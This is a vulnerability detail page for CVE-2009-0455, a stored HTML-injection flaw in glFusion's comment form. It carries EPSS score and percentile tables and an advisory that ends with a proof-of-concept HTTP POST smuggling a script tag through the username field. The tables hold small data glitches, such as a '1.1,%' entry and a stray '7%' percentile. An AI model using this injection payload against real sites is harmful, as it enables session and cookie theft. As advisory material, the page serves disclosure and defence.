CVE-2009-0455 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.92%	–	–
2022-02-20	–	–	1.92%	–	–
2022-04-03	–	–	1.92%	–	–
2022-06-26	–	–	1.92%	–	–
2022-12-25	–	–	1.92%	–	–
2023-01-01	–	–	1.92%	–	–
2023-02-19	–	–	1.92%	–	–
2023-03-12	–	–	–	0.33%	–
2023-05-14	–	–	–	0.33%	–
2023-05-21	–	–	–	0.3%	–
2023-08-06	–	–	–	0.3%	–
2024-02-11	–	–	–	0.3%	–
2024-06-02	–	–	–	0.3%	–
2024-12-22	–	–	–	0.4%	–
2025-01-12	–	–	–	0.4%	–
2025-01-19	–	–	–	0.4%	–
2025-03-18	–	–	–	–	0.19%
2025-03-30	–	–	–	–	1.1%
2025-04-15	–	–	–	–	1.1%
2025-04-15	–	–	–	–	1.1,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	55%
2022-02-20	56%
2022-04-03	76%
2022-06-26	77%
2022-12-25	78%
2023-01-01	77%
2023-02-19	78%
2023-03-12	66%
2023-05-14	67%
2023-05-21	65%
2023-08-06	66%
2024-02-11	69%
2024-06-02	7%
2024-12-22	73%
2025-01-12	74%
2025-01-19	74%
2025-03-18	39%
2025-03-30	76%
2025-04-15	77%
2025-04-15	77%

source: https://www.securityfocus.com/bid/33683/info glFusion is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data. Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible. glFusion 1.1.0 and 1.1.1 are vulnerable; other versions may also be affected. POST /comment.php HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms- application, */* Accept-Language: da Content-Type: application/x-www-form-urlencoded UA-CPU: x86 Accept-Encoding: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Host: www.glfusion.org Pragma: no-cache Connection: Keep-Alive sid=fileid_20&pid=0&type=filemgmt&_glsectoken=&comment=&uid=1&username=Anonymous+Use r%22%3e%3csCrIpT%3ealert(1234)%3c%2fsCrIpT%3e&title=Hello&comment=Hello&comment_h tml=Hello&postmode=html&captcha=47TXJC&csid=49816d4bcd4b&mode=Submit+Comment